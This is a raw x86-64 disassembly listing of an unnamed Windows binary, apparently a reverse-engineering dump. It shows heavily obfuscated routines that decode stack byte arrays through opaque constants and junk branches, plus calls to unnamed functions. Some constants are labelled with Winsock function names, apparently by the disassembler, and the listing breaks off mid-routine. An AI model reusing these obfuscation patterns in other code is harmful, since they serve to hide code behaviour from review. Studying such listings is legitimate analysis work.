movabs rdx, 0x205bdc7df7383dea
movabs rcx, 0xc645214fcec9e0d6
cmp rbx, 0x23
jae 0x140183c3e
movzx r10d, byte [rbp + rbx + 0x2034]
mov rdi, r10
nop dword [rax]
cmp r8, rbx
ja 0x140183c35
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140182f0f
movabs rcx, 0x971019616099cfe
add rcx, rbx
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
add r11b, 0xe
movabs rcx, 0xc645214fcec9e0d6
jmp 0x140182f56
je 0x140183ba0
lea rax, [r9 + 2]
cmp r8, rax
je 0x140183afe
lea rax, [r9 + 4]
cmp r8, rax
je 0x140183ac1
lea rax, [r9 + 5]
cmp r8, rax
je 0x140183a73
lea rax, [r9 + 6]
cmp r8, rax
je 0x140183a46
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401839f0
cmp r9, rbx
ja 0x140183c2c
lea rax, [r9 + 6]
cmp r8, rax
jae 0x140182f8f
lea rdx, [rbx + rcx]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rdx, 0x205bdc7df7383dea
jmp 0x140182fd0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401839df
inc rax
cmp r8, rax
je 0x1401839b0
lea rax, [r9 + 5]
cmp r8, rax
je 0x14018398c
lea rax, [r9 + 7]
cmp r8, rax
je 0x140183964
lea rax, [r9 + 9]
cmp r8, rax
je 0x14018393e
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140183565
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x14018353c
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14018350a
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1401834db
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1401834b2
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140183486
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140183462
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14018343e
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14018341a
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1401833e5
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140182fe0
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x40]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140183c03
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140183bda
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140183192
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14018315e
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140183143
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140183382
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1401832f0
lea r8, [r9 + 2]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1401832b6
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14018328d
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140183269
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140183245
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14018321d
lea rcx, [rbx + rdx]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x66
jmp 0x140182fd0
lea rdx, [rbx + r12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rcx, 0xc645214fcec9e0d6
movabs rdx, 0x205bdc7df7383dea
jmp 0x140182f56
movabs rdx, 0xfa97d6259f11c9f2
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rcx, 0xc645214fcec9e0d6
movabs rdx, 0x205bdc7df7383dea
jmp 0x140182ec9
movabs rcx, 0xd3befaa199eee4c4
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5c
jmp 0x140183ae5
movabs rcx, 0xc0dcf7756ddbaac8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x140183b23
movabs rdx, 0xadfaf44941c870cc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140183b56
movabs rdx, 0x9b18f11d15b536d0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x2034]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140182ea2
movabs rdx, 0x461fe2d64f5eb1e2
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2e
add r11b, dl
cmp r8, 0x42
jae 0x1401838e3
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1401837ad
movabs rdx, 0x63282130f14495c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r9, 0x7a
jb 0x1401838ce
movabs rcx, 0xc306a1ccc7d48d34
add rcx, rbx
movzx eax, cl
and al, r10b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x140183a14
movabs rcx, 0x333ddfaa234b77e6
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4a
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x140183913
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1401836da
movabs rdx, 0x3fed60c3404a6886
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140183313
movabs rcx, 0xa59ec7ded8bb4504
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1c
movzx eax, byte [rbp + rbx + 0x2034]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140182ea2
movabs rcx, 0x92bcc4b2aca80b08
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x140183b56
movabs rcx, 0x7fdac1868094d10c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x54
jmp 0x140183b23
movabs rcx, 0x6cf8be5a54819710
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x140183ae5
movabs rdx, 0x5a16bb2e286e5d14
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x140183ae5
movabs rdx, 0x4734b801fc5b2318
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140183a92
movabs rdx, 0x3452b4d5d047e91c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x140182ea2
movabs rdx, 0x2170b1a9a434af20
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x140182ea2
movabs rdx, 0xe8eae7d78217524
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140183a14
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x14018359a
movabs rdx, 0x971019616099cfe
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1401833a1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401835dd
movabs rdx, 0x8c8a429f9d93c1ac
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x2034]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140182ea2
inc rax
cmp r8, rax
jne 0x140183609
movabs rcx, 0xb24e48f7f5ba35a4
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7c
jmp 0x140183b23
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140183636
movabs rcx, 0xc5304c2421cd6fa0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x140183ae5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140183667
movabs rdx, 0xeaf4527c79f3e398
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x140183a92
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018369b
movabs rcx, 0xfdd655a8a6071d94
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xc
dec rbx
inc rbx
jmp 0x140182ea2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401833a1
movabs rdx, 0x10b858d4d21a5790
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x140182ea2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401836f7
movabs rdx, 0x52cf63ef6c5da282
mov ecx, 0x39
jmp 0x1401839ff
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018372a
movabs rcx, 0x78936a47c484167a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x56
dec rbx
inc rbx
jmp 0x140182ea2
mov byte [rsp + 0x60], r15b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140183761
movabs rcx, 0xb13973cc48bdc46e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 2
mov byte [rsp + 0x60], r15b
jmp 0x140183ae5
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140183313
movabs rdx, 0xe9df7d50ccf77262
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
mov byte [rsp + 0x60], r15b
movzx eax, byte [rbp + rbx + 0x2034]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140182ea2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401837eb
movabs rcx, 0x1914853f3b278358
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
movzx eax, byte [rbp + rbx + 0x2034]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140182ea2
lea rax, [r9 + 4]
mov byte [rsp + 0x60], r15b
cmp r8, rax
jne 0x140183825
movabs rdx, 0x649c91efeb746b48
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x140183ae5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140183857
movabs rdx, 0x777e951c1787a544
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140183a92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018388f
movabs rdx, 0x8a609848439adf40
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140182ea2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018334e
movabs rdx, 0x9d429b746fae193c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x140182ea2
mov byte [rbp + rbx + 0x2034], r11b
mov byte [rsp + 0x60], r15b
inc rbx
jmp 0x140182ea2
movabs rdx, 0xd5e8a4f8f3e7c730
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx + 0x2034]
sub r11b, al
sub r11b, 0x50
add r11b, dl
add r11b, r10b
jmp 0x140183a92
movabs rcx, 0xe8caa8251ffb012c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x2034]
lea r11d, [r10 + rcx]
sub r11b, 0x34
jmp 0x140183b23
movabs rdx, 0x70373ddd5b76eab2
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140183bc1
movabs rdx, 0x4a733785035076ba
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x16
add r11b, dl
jmp 0x140183b23
movabs rcx, 0x37913458d73d3cbe
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x32
jmp 0x140183ae5
movabs rdx, 0xfeeb2ad453038eca
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x140182ea2
movabs rdx, 0xd927247bfadd1ad2
mov ecx, 0x21
jmp 0x1401839ff
movabs rdx, 0xb3631e23a2b6a6da
mov ecx, 5
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rcx, 0xcc77a362ddde2a32
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x5e
add cl, r10b
mov byte [rbp + rbx + 0x2034], cl
inc r9
dec rbx
inc rbx
jmp 0x140182ea2
movabs rcx, 0xa0811af776a36cde
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x12
inc r9
dec rbx
inc rbx
jmp 0x140182ea2
movabs rcx, 0x7abd149f1e7cf8e6
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4a
movabs rcx, 0xdf59a68f09f1642e
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x42
add r10b, cl
add r10b, r11b
mov byte [rbp + rbx + 0x2034], r10b
add r8, r9
jmp 0x140183ae5
movabs rdx, 0x54f90e46c65684ee
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140182ea2
mov r10, rdi
movabs rcx, 0x42170b1a9a434af2
add rcx, rbx
and dil, cl
mov eax, gethostbyaddr
sub al, dil
lea r11d, [rax + rax]
add r11b, r10b
add r11b, cl
movabs rdx, 0xf23ba9bb36049e2a
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x26
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x2034], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xfbacab514c0e3b28
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x18
add cl, r10b
mov byte [rbp + rbx + 0x2034], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x2034]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140182ea2
movabs rdx, 0x1c5304c2421cd6fa
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, byte [rbp + rbx + 0x2034]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140182ea2
movabs rdx, 0xe7b5d2f972fe8ff6
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140182e9e
movabs rdx, 0xd4d3cfcd46eb55fa
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140182e88
lea rdx, [rbp + 0x1759adc]
jmp 0x140183c45
lea rdx, [rbp + 0xbf37da]
jmp 0x140183c45
lea rdx, [rbp + 0x2034]
lea rcx, [rbp + 0x1650]
call fcn.14013e790
nop
lea r8, [rbp + 0x168]
lea rdx, [rbp + 0x1650]
mov rcx, rsi
call fcn.1401a5f10
nop
lea rcx, [rbp + 0x1650]
call fcn.14013e780
lea rcx, [rbp + 0x170]
call fcn.14015a930
mov rbx, rax
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp + 0x6b0]
call fcn.14015d390
mov r9, rbx
mov r8, rax
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp + 0x690]
call fcn.1401e8d40
nop
lea r8, [rbp - 0x51]
lea rdx, [rbp + 0x6d0]
mov rcx, rax
call fcn.1401a6150
mov rbx, rax
mov r9, r14
lea r8, [rbp - 0x53]
lea rdx, [rbp + 0x15f0]
lea rcx, [rbp + 0x9f0]
call fcn.14015d450
mov r8, rax
lea rdx, [rbp + 0x6e0]
mov rcx, rbx
call fcn.1401a64b0
nop
mov rcx, rax
call fcn.14015c4b0
nop
lea rcx, [rbp + 0x6e0]
call fcn.140157830
nop
lea rcx, [rbp + 0x6d0]
call fcn.140157830
nop
lea rcx, [rbp + 0x6c0]
call fcn.140157830
nop
lea rcx, [rbp + 0x170]
call fcn.14015a940
cmp byte [rbp - 0x53], 0
je 0x140184aa6
mov byte [rbp + 0xbeb], 0x8d
mov byte [rbp + 0xbec], 0x7b
mov byte [rbp + 0xbed], 0x7a
mov byte [rbp + 0xbee], WSACleanup
mov byte [rbp + 0xbef], 0x7c
mov byte [rbp + 0xbf0], 0xc1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbf1], xmm0
mov dword [rbp + 0xc01], eax
mov byte [rbp + 0xc05], al
movabs rdx, 0x85c02da899dad9ab
movabs rsi, 0xc7995fb039e6d7c7
movabs r12, 0xb007150f274bbae9
movzx r11d, byte [rbp + 0x5d00]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor ebx, ebx
movabs rcx, 0x4417824b32dec2f5
cmp rbx, 0x1b
jae 0x140184a91
movzx r10d, byte [rbp + rbx + 0xbeb]
mov rdi, r10
cmp r8, rbx
ja 0x140184a79
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140183e21
movabs rcx, 0xeadc8c4cb9478f61
add rcx, rbx
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
add r11b, 0x59
movabs rcx, 0x4417824b32dec2f5
jmp 0x140183e50
je 0x1401849d2
lea rax, [r9 + 3]
cmp r8, rax
je 0x140184940
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401848da
lea rax, [r9 + 2]
cmp r8, rax
je 0x140184885
nop
cmp r9, rbx
ja 0x140184a61
lea rax, [r9 + 9]
cmp r8, rax
jae 0x140183e87
lea rdx, [rbx + rcx]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add dl, 0x4d
add r11b, dl
movabs rdx, 0x85c02da899dad9ab
jmp 0x140183ee0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140184864
inc rax
cmp r8, rax
je 0x140184839
lea rax, [r9 + 5]
cmp r8, rax
je 0x140184814
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401847ef
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401847c7
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401847ab
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140184496
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x140184470
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140184445
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14018441d
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1401843f7
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401843ce
lea rcx, [r9 + 8]
cmp r8, rcx
je 0x1401843a5
lea rax, [r9 + 2]
cmp r8, rax
je 0x140184380
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140183ef0
mov r8, rcx
lea r9, [rcx + 0x200]
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x140184a3c
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x140184a17
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x1401840c8
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x140184096
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x14018406f
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x14018431d
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x140184290
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x140184263
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x140183ef0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14018423e
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140184216
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1401841f0
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1401841cb
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add dl, 0x53
add r11b, dl
movabs rdx, 0x85c02da899dad9ab
jmp 0x140183ee0
lea rdx, [rbx + r12]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0x5f
add r11b, dl
movabs rcx, 0x4417824b32dec2f5
movabs rdx, 0x85c02da899dad9ab
jmp 0x140183e50
movabs rdx, 0xda4dfc75b4bc9c27
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0x11
add r11b, dl
movabs rcx, 0x4417824b32dec2f5
movabs rdx, 0x85c02da899dad9ab
jmp 0x140183ddf
movabs rdx, 0x1e657ec0e79b5f1c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140184963
movabs rdx, 0x48ac6627750c405a
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x76
add r11b, dl
jmp 0x140184999
movabs rcx, 0x72f34d8e027d2198
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x28
jmp 0x1401849f1
movabs rcx, 0xdca4900e641754b3
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x1b
mov byte [rbp + rbx + 0xbeb], r11b
jmp 0x1401849ff
movabs rdx, 0x31325edb7ef9172f
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x49
add r11b, dl
cmp r8, 0x40
jae 0x140184750
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x140184686
movabs rdx, 0x3aa4f09358ebed12
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7e
add r11b, dl
cmp r9, 5
jb 0x140184283
movabs rdx, 0x93dfe691d28320a6
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x14]
jmp 0x1401848a8
movabs rdx, 0x5b7946420c69f86d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 5
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x14018477e
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1401845c4
movabs rdx, 0xf68d6e48260d2a1d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x35
jmp 0x1401842b0
movabs rcx, 0x988d0dc3313891be
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x32
jmp 0x1401849f1
movabs rdx, 0xc2d3f529bea972fc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140184999
movabs rdx, 0x41a8ab5d66fc16b6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140184927
movabs rdx, 0x6bef92c3f46cf7f4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x2a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1401848fa
movabs rcx, 0x96367a2a81ddd932
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5e
dec rbx
jmp 0x1401849ff
movabs rcx, 0xc07d61910f4eba70
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x10
inc r9
dec rbx
jmp 0x1401849ff
movabs rdx, 0xeac448f79cbf9bae
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1401848a5
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1401844c4
movabs rdx, 0xeadc8c4cb9478f61
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x59
jmp 0x14018433d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401844f2
movabs rcx, 0x882f049665bd85ea
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x66
jmp 0x1401849f1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140184520
movabs rdx, 0x33a135c94adbc36e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 2
jmp 0x140184963
lea rax, [r9 + 3]
mov byte [rsp + 0x60], r15b
cmp r8, rax
jne 0x140184557
movabs rdx, 0xdf1366fc2ffa00f2
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140184927
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140184588
movabs rcx, 0x8a85982f15183e76
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3a
dec rbx
jmp 0x1401849ff
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140184340
movabs rdx, 0x603eb0c887a75d38
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
jmp 0x1401849ff
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401845f2
movabs rdx, 0xcc4686e1989c48df
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x19
jmp 0x1401848a5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140184623
movabs rcx, 0x77b8b8147dba8663
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x4b
dec rbx
jmp 0x1401849ff
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140184651
movabs rdx, 0xce9d1a7a47f7016b
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x13
jmp 0x140184963
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401842b3
movabs rdx, 0xa4563313ba86202d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
